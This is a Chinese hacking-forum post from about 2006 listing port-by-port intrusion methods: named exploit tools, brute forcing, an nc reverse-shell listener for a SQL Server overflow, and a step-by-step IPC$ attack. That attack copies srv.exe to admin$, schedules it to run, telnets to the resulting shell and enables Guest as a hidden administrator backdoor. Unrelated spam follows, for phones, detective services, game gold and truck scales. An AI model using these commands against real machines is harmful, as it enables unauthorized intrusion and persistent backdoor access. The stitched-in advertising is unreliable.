1. 1433端口入侵
scanport.exe 查有1433的机器
SQLScanPas*.**e 进行字典暴破（字典是关键）
最后 SQLTool*.**e入侵
对sql的sp2及以下的系统，可用sql的hello 溢出漏洞入侵。
nc -vv -l -p 本机端口 sqlhelloF.exe 入侵ip 1433 本机ip 本机端口
（以上反向的，测试成功）
sqlhelloz.exe 入侵ip 1433 （这个是正向连接）
2. 4899端口入侵
用4899过滤器.exe，扫描空口令的机器
3. 3899的入侵
对很早的机器，可以试试3389的溢出(win3389ex.exe)
对2000的机器，可以试试字典暴破。(tscrack.exe)
4. 80入侵
对sp3以前的机器，可以用webdav入侵；
对bbs论坛，可以试试上传漏洞（upfile.exe或dvup_delphi.exe）
可以利用SQL进行注入。（啊D的注入软件）。
5. serv-u入侵(21端口）
对5. 004及以下系统，可用溢出入侵。（serv5004.exe）
对5.1.0.0及以下系统，可用本地提升权限。（servlocal.exe）
对serv-u的MD5加密密码，可以用字典暴破。（crack.vbs）
输入一个被serv-u加密的密码（34位长），通过与字典档（dict.txt）的比较，得到密码
6. 554端口
用real554.exe入侵。
7. 6129端口
用DameWare6129.exe入侵。
8. 系统漏洞
利用135、445端口，用ms03026、ms03039、ms03049、ms04011漏洞，
进行溢出入侵。
9. 3127等端口
可以利用doom病毒开的端口，用nodoom.exe入侵。（可用mydoomscan.exe查）。
10. 其他入侵
利用shanlu的入侵软件入侵（WINNTAutoAttack.exe）。
经典IPC$入侵
1. C:\>net use [url=file://\\127.0.0.1\IPC$]\\127.0.0.1\IPC$[/url] "" /user:"admintitrators"  
这是用"流光"扫到的用户名是administrators，密码为"空"的IP地址(气好到家如果是打算攻击的话，就可以用这样的命令来与127.0.0.1建立一个连
接，因为密码为"空"，所以第一个引号处就不用输入，后面一个双引号里的是用户名
，输入administrators，命令即可成功完成。
　　
2. C:\>copy srv.exe [url=file://\\127.0.0.1\admin$]\\127.0.0.1\admin$[/url]  
先复制srv.exe上去，在流光的Tools目录下就有（这里的$是指admin用户的
c:\winnt\system32\，大家还可以使用c$、d$，意思是C盘与D盘，这看你要复制到什么地方去了）。

　　
3. C:\>net time [url=file://\\127.0.0.1]\\127.0.0.1[/url]  
查查时间，发现127.0.0.1 的当前时间是 2002/3/19 上午 11:00，命令成功完成。
　　
4. C:\>at [url=file://\\127.0.0.1]\\127.0.0.1[/url] 11:05 srv.exe  
用at命令启动srv.exe吧（这里设置的时间要比主机时间快，不然你怎么启动啊.
　　
5. C:\>net time [url=file://\\127.0.0.1]\\127.0.0.1[/url]
再查查到时间没有？如果127.0.0.1 的当前时间是 2002/3/19 上午 11:05，那就准备
开始下面的命令。
　　
6. C:\>telnet 127.0.0.1 99  
这里会用到Telnet命令吧，注意端口是99。Telnet默认的是23端口，但是我们使用的
是SRV在对方计算机中为我们建立一个99端口的Shell。
虽然我们可以Telnet上去了，但是SRV是一次性的，下次登录还要再激活！所以我们打
算建立一个Telnet服务！这就要用到ntlm了
　　
7.C:\>copy ntlm.exe [url=file://\\127.0.0.1\admin$]\\127.0.0.1\admin$[/url]
用Copy命令把ntlm.exe上传到主机上（ntlm.exe也是在《流光》的Tools目录中）。
　　
8. C:\WINNT\system32>ntlm  
输入ntlm启动（这里的C:\WINNT\system32>指的是对方计算机，运行ntlm其实是让这
个程序在对方计算机上运行）。当出现"DONE"的时候，就说明已经启动正常。然后使
用"net start telnet"来开启Telnet服务！  
9. Telnet 127.0.0.1，接着输入用户名与密码就进入对方了，操作就像在DOS上操作
一样简单！(然后你想做什么?想做什么就做什么吧,哈哈)
为了以防万一,我们再把guest激活加到管理组  
10. C:\>net user guest /active:yes  
将对方的Guest用户激活
11. C:\>net user guest 1234  
将Guest的密码改为1234,或者你要设定的密码
12. C:\>net localgroup administrators guest /add  
将Guest变为Administrator^_^(如果管理员密码更改，guest帐号没改变的话，下次我
们可以用guest再次访问这台计算机)

这个我收了:handshake

觉得不错的话就给支持一下嘛

[ 本帖最后由 九五二七 于 2006-11-8 16:20 编辑 ]

b]正品行货也低价！原厂直销模式同比传统卖场柜台价节省10%~20%！
全国最大的正规行货手机直销购物网站—— 易销网 摩托 Z6行货直销，最新报价
元！

[center][/center]

　　继V3、Z3等时尚超薄机型之后，摩托罗拉再度推出的摩托 Z6，以鲜亮的橙色黑色搭配进军07手机市场。音乐天王周杰伦的代言加上Z6本身娱乐扩展能力出众的Linux系统和完善的音乐播放能力，吸引了不少音乐发烧友的关注。

　　除了延续了Z3的滑盖设计外，采用了2.0英寸26万色TFT屏的摩托 Z6终于将屏幕分辨率提升到了QVGA的水平，显示效果大大改善。此外，与Z3相比，Z6在配置上有不少改进，但仍保持了105.5×45.5×16毫米的机身尺寸和115克的重量，即使单手也能稳稳握住。

　　摩托 Z6内置了200万像素摄像头和LED补光灯，支持8倍数码变焦和多种拍摄模式，最大能拍摄1200×1600像素的照片，还可支持录制最大分辨率为176×144像素的3GP视频短片摄录，操作简单快捷。功能区按键与Z3设置基本相同，操作简便。

　　摩托 Z6支持MP3、WMA、AAC及AAC 等多种格式的音乐播放，并可以按照全部、最近播放、播放列表、演唱者、专辑、风格和作曲人七种方式管理音乐。摩托 Z6标配中就包含了1G的存储卡，存储海量音乐自然不在话下。更值得一提的是，摩托 Z6还支持全屏播放RMVB、MPEG4及3GP视频文件。

　　作为一部智能商务手机，摩托 Z6采用了Linux系统，自身内存为64MB，还支持最大2G的TF卡内存扩展，支持蓝牙和USB数据线两种传输方式，全面支持立体声蓝牙音乐功能。更加吸引广大机友的消息是，摩托罗拉Z6随机标配了1GB存储卡和周杰伦定制的蓝牙耳机。

　　易销点评：摩托 Z6综合表现出色，除了摄像头少有欠缺，其他方面可谓是无可挑剔。周杰伦的代言更吸引了一大群JAY迷的追捧。此次，易销网的优惠促销，周董的FANS们，不要错过机会了！

易销网摩托 Z6相关评测：

为音乐而生滑盖智能音乐机摩托 Z6评测
高雅诱人气质滑盖音乐智能摩托 Z6评测


[center]正品 行货 低价，尽在手机易销网   ！[/center]

[center][/center]

专业私家侦探就选[URL=http://www.zs007.com/]上海私家侦探[/URL]服务

选择好的旅游就选[URL=http://www.ly234.com.com/]丽江旅游[/URL]
[URL=http://www.ly234.com.com/]丽江自助游[/URL]
[URL=http://www.ly234.com.com/]云南丽江 [/URL]

楼主辛苦了,继续努力!









-------------------------------------------------------------------------
我的个性签名:
都说男人有钱就变坏，tmd我都当了二十多年的好人了！
我的个性书签:
银饰品silver jewelry/wow gold/world of warcraft gold/Silver Rings

so do  you [URL=http://www.selldofus-kamas.cn]sell dofus kamas[/URL],if you have [URL=http://www.selldofus-kamas.cn]cheap dofus kamas[/URL] , please connect me as soon as possible!
hihi^^
i want to buy more and more , more and more!
so please take your time !
do you have [URL=http://www.selldofus-kamas.cn]dofus money[/URL], [URL=http://www.selldofus-kamas.cn]dofus gold[/URL] ? i want them , i love them !
i have change a new envionment , it's new ,so it's interesting and changllege to me!
in a world ,i love dofus kamas , [URL=http://www.selldofus-kamas.cn]cheap dofus kamas[/URL] !

超限汽车检测仪—交警路政专用
西德力传感器制造（中国）有限公司专业生产国内最好的汽车称重系统。
经理手机：（0）13059709368 汽车称重设备采用德国进口传感器，按德国工业标准DIN技术制造的全新的专业汽车称重设备。适用于交通警察超载检测、公路路政超限检测、汽车轮重轴重检测、市政废物垃圾称重、企业产品进出称重等各个领域。并具有以下显著的特点：
    1、 重量轻：该系统采用数字化称重传感器与秤台一体化的设计，使得称重台的外型尺寸只有700X500X25mm；并运用硬铝合金钢技术，使每块称重板的重量只有20公斤，（目前国内最轻）使产品更轻，更易于携带。
    2、 检测精度高：产品使用德国进口高精度传感器，检测精度可达：静态<± 2‰FS ，动态 <± 2％FS。
    3、 防水：称重台采用德国的全密封技术，完全防水防尘，适用于在各种恶劣环境中使用。
    4、 操作简便：该系统采用了中文菜单操作，仪表具有更加完善的显示、设定、修正、操作、打印、通讯等功能，使用起来简单明了。使用单个称重台可进行轮计量（静动态），使用两个称重台可进行轴计量（静动态）。
    5、 抗压抗冲击：具有高抗压和高抗冲击性,整体荷载能力达到国内最高标准。
    6、 防遥控：设备采用德国最先进的屏蔽技术，有效防止“地磅遥控器”干扰。
    7、 防雷：阴雨天气防止雷击，适合恶劣天气野外使用。

           西德力公司产品经国家交通公安和质量技术监督部门权威检测，可以承受高吨位车辆大负荷长期检测,数据准确稳定!西德力产品经得起最苛刻的用户严格考验！
          顶尖的制造技术打造目前国内最好的超限超载检测设备!
          本公司还致力出口汽车称重设备，目前已销往日本、韩国、新加坡、中东地区等国家，成为其长期、稳定的供货厂商。
              
                           西德力——来自德国的品牌！


         我们热切的期待您莅临本公司参观指导！

         西德力传感器制造（中国）有限公司
         经理手机：（0）13059709368
         经理专线：（0769）-87052663
        公司网址：www.xdlle.com
        电子邮件：xdlle918@163.com
        地址：广东省东莞市麻涌镇大盛工业园   
        邮政编码：523136。